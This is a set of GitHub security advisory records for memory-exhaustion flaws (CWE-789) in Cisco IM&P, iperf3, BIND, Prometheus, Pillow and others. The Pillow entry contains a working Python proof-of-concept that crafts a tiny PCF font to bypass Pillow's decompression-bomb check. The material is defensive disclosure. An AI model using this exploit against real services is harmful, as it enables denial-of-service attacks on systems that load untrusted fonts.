CWE-789

{
  "affected": [],
  "aliases": [
    "CVE-2023-20108"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-28T15:15:09Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the XCP Authentication Service of the Cisco Unified Communications Manager IM \u0026amp; Presence Service (Unified CM IM\u0026amp;P) could allow an unauthenticated, remote attacker to cause a temporary service outage for all Cisco Unified CM IM\u0026amp;P users who are attempting to authenticate to the service, resulting in a denial of service (DoS) condition. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted login message to the affected device. A successful exploit could allow the attacker to cause an unexpected restart of the authentication service, preventing new users from successfully authenticating. Exploitation of this vulnerability does not impact Cisco Unified CM IM\u0026amp;P users who were authenticated prior to an attack.",
  "id": "GHSA-8937-gcf5-34xq",
  "modified": "2023-06-28T15:30:23Z",
  "published": "2023-06-28T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20108"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-imp-dos-49GL7rzT"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-85445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-03T23:17:24Z",
    "severity": "HIGH"
  },
  "details": "MOOS-IvP through 24.8.1 contains a denial of service vulnerability in the Demuxer::addMuxPacket() function that trusts the packet count declared in mux headers without validation. Attackers can declare arbitrarily large packet counts to trigger unbounded memory allocation, exhausting system resources and causing service unavailability.",
  "id": "GHSA-8cvc-f53x-r3v4",
  "modified": "2026-09-04T00:31:09Z",
  "published": "2026-09-04T00:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp/pull/129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp/commit/fc5649ac12915f66a9f09520cdb6b14bc6d77595"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp/blob/1de9ae146cd63c209e8c3fd81611a4ed2472971b/ivp/src/lib_ivpbuild/Demuxer.cpp#L79"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/moos-ivp-through-24.8.1-bhv-ipf-demultiplexer-memory-exhaustion-via-packet-count"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-71218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T09:17:14Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in iperf3. A remote unauthenticated attacker can exploit a vulnerability in the `JSON_read()` function, which accepts a peer-controlled message length and allocates memory without an upper bound. This allows the attacker to trigger excessive memory consumption, leading to a Denial of Service (DoS) through memory exhaustion, severe slowdown, or termination of the iperf3 service.",
  "id": "GHSA-8m2w-v7g5-76v3",
  "modified": "2026-08-11T12:30:22Z",
  "published": "2026-08-11T09:32:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71218"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esnet/iperf/commit/0128d0357b7e8916fe39e980e455729bc0e5fd4e"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-71218"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2463003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-6516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-13T14:15:46Z",
    "severity": "HIGH"
  },
  "details": "To keep its cache database efficient, `named` running as a recursive resolver occasionally attempts to clean up the database. It uses several methods, including some that are asynchronous: a small chunk of memory pointing to the cache element that can be cleaned up is first allocated and then queued for later processing. It was discovered that if the resolver is continuously processing query patterns triggering this type of cache-database maintenance, `named` may not be able to handle the cleanup events in a timely manner. This in turn enables the list of queued cleanup events to grow infinitely large over time, allowing the configured `max-cache-size` limit to be significantly exceeded.\nThis issue affects BIND 9 versions 9.16.0 through 9.16.45 and 9.16.8-S1 through 9.16.45-S1.",
  "id": "GHSA-8mxm-4gjm-vrc7",
  "modified": "2024-05-03T15:30:36Z",
  "published": "2024-02-13T15:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6516"
    },
    {
      "type": "WEB",
      "url": "https://kb.isc.org/docs/cve-2023-6516"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PNNHZSZPG2E7NBMBNYPGHCFI4V4XRWNQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZDZFMEKQTZ4L7RY46FCENWFB5MDT263R"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240503-0008"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/02/13/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.306.0"
            },
            {
              "fixed": "0.311.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.305.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/prometheus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-rc.0"
            },
            {
              "last_affected": "2.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:34:05Z",
    "nvd_published_at": "2026-05-04T19:16:04Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe remote read endpoint (`/api/v1/read`) does not validate the declared decoded length in a snappy-compressed request body before allocating memory.\nAn unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nFixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.\n\n### Workarounds\nUser who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.",
  "id": "GHSA-8rm2-7qqf-34qm",
  "modified": "2026-06-08T16:22:14Z",
  "published": "2026-05-05T19:34:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/security/advisories/GHSA-8rm2-7qqf-34qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/pull/18584"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/pull/18585"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/prometheus/prometheus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/releases/tag/v3.11.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/prometheus/releases/tag/v3.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prometheus: Remote read endpoint allows denial of service via crafted snappy payload"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:08:27Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 \u2212 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 \u00d7 131,070 = 8,589,734,450 pixels** \u2014 **48\u00d7 the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224\u2013227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS \u2014 attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # \u2191 NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data \u2192 `frombytes()` succeeds \u2192 image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data \u2192 `Image.new()` allocates the full buffer \u2192 `ValueError` \u2192 buffer freed \u2192 but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass \u2014 148-byte PCF \u2192 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels \u2192 above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 \u003c\u003c 0\nPCF_METRICS  = 1 \u003c\u003c 2\nPCF_BITMAPS  = 1 \u003c\u003c 3\nPCF_ENCODINGS= 1 \u003c\u003c 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"\u003cIII\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph \u2014 xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"\u003cII\", 0, 1)\n    metrics += struct.pack(\"\u003cHHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"\u003cII\", 0, 1)\n    bitmaps += struct.pack(\"\u003cI\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"\u003cIIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 (\u0027A\u0027) \u2192 glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"\u003cIHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"\u003c\" + \"H\"*128, *enc_offsets)\n\n    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"\u003cII\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += struct.pack(\"\u003cIIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode \u00271\u0027 = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed \u2014 heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode \u00271\u0027 = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode \u00271\u0027) | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 \u00d7 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 \u00d7 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 \u00d7 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH \u2014 up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07",
  "id": "GHSA-8v84-f9pq-wr9x",
  "modified": "2026-07-20T21:08:27Z",
  "published": "2026-07-20T21:08:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` \u2014 bomb protection bypass via PCF font loading"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-34869"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-25T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13797.",
  "id": "GHSA-8vhh-3c8h-fwc3",
  "modified": "2022-02-02T00:02:05Z",
  "published": "2022-01-26T00:01:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34869"
    },
    {
      "type": "WEB",
      "url": "https://kb.parallels.com/125013"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1057"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-34867"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-25T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3-49160. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13672.",
  "id": "GHSA-8vvh-6wqm-9fpw",
  "modified": "2022-02-01T00:00:49Z",
  "published": "2022-01-26T00:01:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34867"
    },
    {
      "type": "WEB",
      "url": "https://kb.parallels.com/125013"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1055"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-47944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-10T13:16:30Z",
    "severity": "HIGH"
  },
  "details": "memono Notepad 4.2 contains a denial of service vulnerability that allows attackers to crash the application by pasting excessively long character buffers into note fields. Attackers can generate a payload containing 350000 repeated characters and paste it twice into a new note to trigger an application crash on iOS devices.",
  "id": "GHSA-8wmx-4c83-gcjf",
  "modified": "2026-05-10T15:31:20Z",
  "published": "2026-05-10T15:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47944"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49977"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/memono-notepad-denial-of-service-via-buffer-overflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-66733"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-06T13:18:21Z",
    "severity": "HIGH"
  },
  "details": "Sonic 3 A.I.R. before commit 2492d18 contains an unbounded memory allocation vulnerability in ReceivedPacketCache::enqueuePacket() that allows unauthenticated remote attackers to crash the server process by sending a crafted UDP packet with mUniquePacketID set to the maximum uint32 value. The mUniquePacketID field is read directly from the UDP wire-format packet header without bounds checking, causing the server to allocate one CacheItem per missing packet ID gap, exhausting available host memory and propagating an uncaught std::bad_alloc exception to std::terminate().",
  "id": "GHSA-947v-gcqq-82hv",
  "modified": "2026-08-06T15:32:43Z",
  "published": "2026-08-06T15:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66733"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eukaryot/sonic3air/commit/2492d1882cd2cf1cc1d7415729ce5c4fd686cd4f"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/sonic-3-a-i-r-unbounded-memory-allocation-dos-via-receivedpacketcache"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}